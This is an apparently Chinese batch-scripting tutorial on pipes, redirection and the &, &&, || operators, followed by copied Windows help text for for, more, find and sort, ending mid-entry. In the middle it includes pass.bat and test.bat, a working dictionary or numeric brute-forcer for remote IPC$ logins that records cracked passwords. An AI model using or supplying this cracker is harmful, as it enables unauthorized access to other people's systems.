&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个"振奋人心"的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "课间休息"时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面从管道命令讲起。常用的管道命令有以下这些：|、&gt;、&gt;&gt;</p>
<p>11、|<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：<br />
help | more<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 全部显示完为止；按其他键自动停止返回DOS。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。</p>
<p>11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。</p>
<p>11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的：<br />
help &gt; a.txt<br />
more a.txt<br />
del a.txt<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里利用另一管道命令&gt;生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。</p>
<p>12、&gt;、&gt;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，&gt;会清除掉原有文件中的内容后把新的内容写入原文件，而&gt;&gt;只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：<br />
echo @echo off &gt; a.bat<br />
echo echo This is a pipeline command example. &gt;&gt; a.bat<br />
echo echo It is very easy? &gt;&gt; a.bat<br />
echo echo Believe your self! &gt;&gt; a.bat<br />
echo pause &gt;&gt; a.bat<br />
echo exit &gt;&gt; a.bat<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下：<br />
@echo off<br />
echo This is a pipeline command example.<br />
echo It is very easy?<br />
echo Believe your self!<br />
pause<br />
exit<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看到这里，你得到了多少信息？<br />
1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；<br />
2、管道命令&gt;和&gt;&gt;的区别如上所述。如果这里只用&gt;命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行exit了。所以&gt;和&gt;&gt;一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用&gt;了。结合例一再仔细体会输出重定向管道命令&gt;和&gt;&gt;的用法。</p>
<p>13、&lt;、&gt;&amp;、&lt;&amp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。<br />
&lt;，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。<br />
&gt;&amp;，将一个句柄的输出写入到另一个句柄的输入中。<br />
&lt;&amp;，刚好和&gt;&amp;相反，从一个句柄读取输入并将其写入到另一个句柄输出中。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面介绍组合命令：&amp;、&amp;&amp;、||<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！</p>
<p>14、&amp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; 这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：<br />
copy a.txt b.txt /y &amp; del a.txt<br />
&nbsp;&nbsp;&nbsp;&nbsp; 其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&amp;两边的命令是有执行顺序的，从前往后执行。</p>
<p>15、&amp;&amp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&amp;命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：<br />
dir 文件://1%/www/user.mdb &amp;&amp; copy 文件://1%/www/user.mdb e:\backup\www<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果远程主机存在user.mdb，则copy到本地e:\backup\www，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实它和下面这句的作用是一样的：<br />
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 你是否还记得"有些命令是不能同时执行的"？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果&gt;到a.txt里就ok了嘛，看例十八：<br />
dir c:\ &amp;&amp; dir d:\ &gt; a.txt<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&amp;&amp;命令和&gt;命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&amp;&amp;的优先级没有管道命令&gt;的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和dir d:\ &gt; a.txt，而并不是如你想的这两部分：dir c:\ &amp;&amp; dir d:\和&gt; a.txt。要使用组合命令&amp;&amp;达到题目的要求，必须得这么写：<br />
dir c:\ &gt; a.txt &amp;&amp; dir d:\ &gt;&gt; a.txt<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ &gt; a.txt和dir d:\ &gt;&gt; a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当然这里还可以利用&amp;命令（自己想一下道理哦）：<br />
dir c:\ &gt; a.txt &amp; dir d:\ &gt;&gt; a.txt</p>
<p>16、||<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个命令的用法和&amp;&amp;几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九：<br />
@echo off<br />
dir s*.exe || exit<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：<br />
@echo off<br />
dir s*.exe || echo Didn't exist file s*.exe &amp; pause &amp; exit<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二：<br />
例二十一：<br />
@echo off<br />
dir a.ttt /a &amp; dir a.txt || exit<br />
例二十二：<br />
@echo off<br />
dir a.ttt /a &amp;&amp; dir a.txt || exit<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程："简明批处理教程"，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? &gt; a.txt &amp; start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将下列代码存为bat文件<br />
1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名<br />
2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 密码破解出来之后，存放于c:\pass.txt文件里面。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将下列代码存为pass.bat文件<br />
@echo off<br />
echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt<br />
echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt<br />
date /t &gt;&gt;c:\pass.txt<br />
time /t &gt;&gt;c:\pass.txt<br />
echo 破解结果： &gt;&gt;c:\pass.txt<br />
if "%6"=="1" goto 大棒槌是我的说2<br />
:大棒槌是我的说1<br />
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3<br />
goto quit<br />
:大棒槌是我的说2<br />
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5<br />
:quit<br />
将下列代码存为test.bat<br />
net use \\%1\ipc$ %2 /user:"%3"<br />
goto answer%ERRORLEVEL%<br />
rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2<br />
:answer0<br />
echo 远程主机："%1" &gt;&gt;c:\pass.txt<br />
echo 用 户："%3" &gt;&gt;c:\pass.txt<br />
echo 密 码：%2 &gt;&gt;c:\pass.txt<br />
net use \\%1\ipc$ /delet<br />
exit<br />
:answer2</p>
<p>For<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对一组文件中的每个文件运行指定的命令。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以在批处理程序中或直接从命令提示符使用 for 命令。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 要在批处理程序中使用 for 命令，请使用以下语法：<br />
for %%variable in (set) docommand [command-parameters]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 要在命令提示符下使用 for，请使用以下语法：<br />
for %variable in (set) do command [command-parameters]<br />
参数<br />
%%variable 或 %variable<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 commandparameters中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。<br />
(set)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。<br />
command<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定要在指定的 set 所包含的每个文件上执行的命令。<br />
command-parameters<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。<br />
For 命令的其他形式<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果启用了命令扩展，将支持如下 for 命令的其他格式：<br />
只限于目录<br />
for /D [%% | %]variable in (set) docommand [command-parameters]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。<br />
递归<br />
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。<br />
迭代<br />
for /L [%% | %]variable in (start，step，end) do command [command-parameters]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。<br />
文件解析<br />
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]<br />
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]<br />
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]<br />
或者，如果出现 usebackq 选项：<br />
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]<br />
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]<br />
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]<br />
filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前，每个文件都会被打开、读取和处理。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值（或多个值）集合调用 for 循环体。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。<br />
跳过空行。通过指定可选的"options"参数可以覆盖默认的解析行为。这是一个引用字符串，它包含一个或多个关键字以指定不同的解析选项。<br />
关键字是：<br />
关键字 说明<br />
eol=c 指定行尾注释字符（只一个字符）<br />
skip=n 指定在文件的开头跳过的行数。<br />
delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。<br />
tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围，指定从 mth 到 nth 的令牌。如<br />
果在令牌 = 字符串中最后一个字符是星号，则将分配附加的变量，并在解析最后一个令牌后在行上接收剩余的文本。<br />
usebackq 指定将右引号字符串作为命令执行，单引号字符串是文字字符串命令，您可以使用双引号包括 filenameset 中的文件名。<br />
变量替换<br />
此外，已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法（对于任何变量 I）：<br />
变量（使用修改程序） 说明<br />
%~I 展开删除了周围的任何引号 (") 的 %I<br />
%~fI 将 %I 展开到完全合格的路径名<br />
%~dI 只将 %I 展开到驱动器号<br />
%~pI 只将 %I 展开到路径<br />
%~nI 只将 %I 展开到文件名<br />
%~xI 只将 %I 展开到文件扩展名<br />
%~sI 展开路径以只包含短名称<br />
%~aI 将 %I 展开到文件的文件属性<br />
%~tI 将 %I 展开到文件的日期/时间<br />
%~zI 将 %I 展开到文件大小<br />
%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名，或搜索后没有找到文件，则此修改程序将扩展为空字符串。<br />
修改程序可以合并以获得复杂的结果：<br />
变量（使用合并的修改程序） 说明<br />
%~dpI 只将 %I 展开到驱动器号和路径<br />
%~nxI 只将 %I 展开到文件名和扩展名<br />
%~fsI 将 %I 展开到只包含短名称的完整路径名<br />
%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I，并展开到第一个找到结果的驱动器号和路径<br />
%~ftzaI 将 %I 扩展到与 dir 相似的输出行<br />
注意<br />
在上述范例中，%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。<br />
使用大写变量名（例如 %I）可以使代码更具可读性，并且避免与不区分大小写的修改程序混淆。</p>
<p>Shift<br />
更改批处理文件中可替换参数的位置。<br />
shift<br />
启用命令扩展（Windows 2000 中的默认设置）后，shift 命令支持 /n 开关，该开关通知命令在第 n 个参数处开始更改，n 可以是从 0 到 8 的任何一个值。例如，<br />
SHIFT /2<br />
将 %3 改为 %2，将 %4 改为 %3 等等，而 %0 和 %1 保持不变。<br />
筛选器命令<br />
筛选器命令可以帮助您排序、查看和选择部分命令输出结果。<br />
通过筛选器命令传递信息<br />
筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令：<br />
more 命令每次显示一屏文件内容或命令输出。<br />
find 命令在文件和命令输出中搜索指定字符。<br />
sort 命令按字母顺序排列文件和命令输出。<br />
要将输入从文件发送到筛选器命令，请使用小于符号 (&lt;)。如果要筛选器命令从其他命令获得输入，请使用管道 (|)。<br />
使用 more 命令来控制屏幕显示<br />
more 命令每次一屏地显示文件的内容或命令输出。例如，下面的 more 命令每次显示一屏 List.txt 文件的内容：<br />
more &lt; list.txt<br />
信息显示一屏后，会出现字"More"。要继续显示下一屏，请按键盘上任意键。要停止命令且不查看详细信息，请按 CTRL+C 键。<br />
如果使用产生多屏输出的命令，more 将十分有用。例如，假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来，请使用带管道号 (|) 和 more 命令的 tree 命令，如下例所示：<br />
tree c:\ | more<br />
tree 命令的第一屏输出被显示，后跟词"More"。Windows 2000 暂停，直到用户按键盘上的任意键为止（PAUSE 键除外）。<br />
使用 find 命令搜索文本<br />
find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准<br />
的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息，请单击"相关主题"列表中的 find。<br />
要将 find 当作筛选器命令使用，请包含小于符号 (&lt;) 和搜索的文件名。当输入文件名时，请记住搜索要区分大小写。例如，下面的命令查找文件 Trade.txt 中所有的"Pacific Rim"字符串：<br />
find "Pacific Rim" &lt; trade.txt<br />
要保存 find 命令的输出而不是显示输出，请使用大于号 (&gt;) 和要存储输出的文件名。例如，下面的命令查找文件 Trade.txt 中所有的<br />
"Pacific Rim"字符串，并将结果保存在 Nwtrade.txt 文件中：<br />
find "Pacific Rim" &lt; trade.txt &gt; nwtrade.txt<br />
对文本文件排序<br />
sort 命令按字母顺序排列文本文件或命令的输出。例如，可以使用以下命令对 List.txt 文件的内容进行排序，并在屏幕上显示结果：<br />
sort &lt; list.txt<br />
在此范例中，sort 命令对 List.txt 文件的行进行排序并显示结果，但不更改文件。要保存 sort 命令的输出而不是显示输出，请在命令中包含大于号 (&gt;) 和文件名。例如，可以使用以下命令对 List.txt 文件的行按字母顺序排序，并将结果存到 Alphlist.txt 文件中：<br />
sort &lt; list.txt &gt; alphlist.txt<br />
要排序命令的输出，请键入后面带有管道 (|) 和 sort 命令的命令。例如，下面的命令对 find 命令的输出结果进行排序：<br />
find "Jones" maillst.txt | sort<br />
在键入该命令时，Windows 2000 按字母顺序列出在其中出现"Jones"的行。<br />
带重定向符的合并命令<br />
可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如，可以使用以下命令存储包含"LOG"字符串的文件名:<br />
dir /b | find "LOG" &gt; loglist.txt<br />
Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串"Log"的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表（如，A.log、Logdat.svd 和 Mylog.bat）。<br />
要在相同命令中使用多个筛选器，请使用管道 (|) 分隔筛选器。例如，下面的命令搜索 C 盘上的每个目录以查找包含"Log"字符串的文件名，并且每次显示一屏：<br />
dir c:\ /s /b | find "LOG" | more<br />
因为使用管道 (|)，Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串"Log"的文件名。more 命令每次一屏地显示 find 命令选择的文件名。</p>
<p>More<br />
每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令，或者使用它控制其他命令的输出，例如 type 命令。当显示填充可用的查看区域时将出现 more 提示，用户可以输入许多命令来控制查看文件其余部分的方式。<br />
command name | more [/c] [/p] [/s] [/tn] [+n]<br />
more [[/c] [/p] [/s] [/tn] [+n]] &lt; [drive:][path] filename<br />
more [/c] [/p] [/s] [/tn] [+n] [files]<br />
参数<br />
[drive:][path] filename<br />
指定要显示的文件。<br />
command name<br />
指定将显示其输出的命令。<br />
/c<br />
显示页面前清除屏幕。<br />
/p<br />
扩展换页符。<br />
/s<br />
将多个空白行更改为一个空白行。<br />
/tn<br />
将制表位更改为 n 个空格<br />
+n<br />
显示由 n 指定的行开始的第一个文件。<br />
files<br />
指定要显示的文件列表。用空格分隔文件名。<br />
More 子命令<br />
以下命令在 more 提示 (-- More --) 下接受。<br />
关键字 操作<br />
space 显示下一页。<br />
ENTER 显示下一行。<br />
F 显示下一个文件。<br />
q 退出。<br />
? 显示可用命令。<br />
= 显示行号。<br />
P n 显示以下 n 行。<br />
S n 跳过下面 n 行。</p>
<p>Find<br />
在一个文件或多个文件中搜索指定的文本字符串。<br />
当搜索到指定的文件后，find 将显示出包含指定字符串的所有行。<br />
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]<br />
参数<br />
/v<br />
显示未包含指定字符串的所有行。<br />
/c<br />
只显示包含指定字符串的行数。<br />
/n<br />
将文件行号置于每行开头。<br />
/I<br />
指定搜索不区分大小写。<br />
"string"<br />
指定要搜索的字符组。必须将 string 的文本包括在引号中。<br />
[drive:][path] filename<br />
指定要在其中搜索指定字符串的文件的位置和名称。</p>
<p>Sort<br />
读取输入、排序数据并将结果写到屏幕、文件和其他设备上。<br />
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:]<br />
[path3]filename3]<br />
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:]<br />
[path2]] [/o [drive3:][path3]filename3]<br />
参数<br />
/r<br />
颠倒排序顺序，即从 Z 到 A 排序，然后从 9 到 0 排序。<br />
/+n<br />
指定字符位置号 n，sort 在此处开始每次比较。例如，/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下，比较在每行的第一个字符开始。<br />
/m kilobytes<br />
指定用于排序的主内存数量，按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小，则无论有多少主内存可用，指定的确切数量（但至少 160 KB）的内存将用于排序。<br />
如果输入输出均为文件，在没有指定大小时，默认最大内存大小为可用主内存的 90％，否则为主内存的 45％。默认设置通常会产生最佳的性能。<br />
/l locale<br />
替代由系统默认区域设置定义的字符排序顺序；即在安装 Windows 2000 时选择的语言和"国家（地区）"。目前，默认区域设置唯一的备用选项就是"C"区域设置，该区域设置比自然语言排序快，根据二进制编码对字符排序。<br />
/rec characters<br />
指定记录或输入文件的行中的最多字符数（默认值为 4096，最大值为 65535）。<br />
[drive1:][path1]filename1<br />
指定要排序的文件。如果没有指定文件名，则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。<br />
/t [drive2:][path2]<br />
